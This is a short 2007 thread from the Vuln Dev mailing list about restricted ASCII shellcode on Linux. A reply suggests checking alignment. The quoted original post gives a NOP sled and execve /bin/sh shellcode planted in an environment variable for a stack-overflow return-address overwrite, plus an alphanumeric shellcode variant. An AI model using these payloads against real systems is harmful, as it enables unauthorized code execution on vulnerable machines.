Vuln Dev
Re: Re: Linux restricted ASCII Shellcode Apr 19 2007 06:39PM
nonexistant nospam org (2 replies)
Re: Re: Linux restricted ASCII Shellcode Apr 23 2007 01:13PM
RaiSe (raise enye-sec org)
Re: Linux restricted ASCII Shellcode Apr 21 2007 12:04AM
Deian Stefan (deianstefan gmail com)
This is just a thought, but have you checked to see if the shellcode
is properly aligned? Are you getting a seg-fault?

Deian Stefan
GPG fingerprint: BED8 F536 3CDB AC28 CCBB 2ECE 66C3 5810 9025 23CF

On Apr 19, 2007, at 2:39 PM, nonexistant (at) nospam (dot) org [email concealed] wrote:

> I'm exploiting the stack overflow inserting the shellcode in a
> environment variable:
> export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "\xeb
> \x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3
> \x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc
> \xff\xff\xff/bin/sh"'`
> And then overwriting de RET address to point somewhere in the NOP
> section of "SHELLCODE". Pretty simple.
> That works perfectly.
> But if I try with this environment variable:
> export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print
> fhmNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBab
> ivERSvT29"'`
> This do not work. I have tryed with many different ASCII shellcodes
> all of them ripped from examples in C style.
> What I'm doing wrong?

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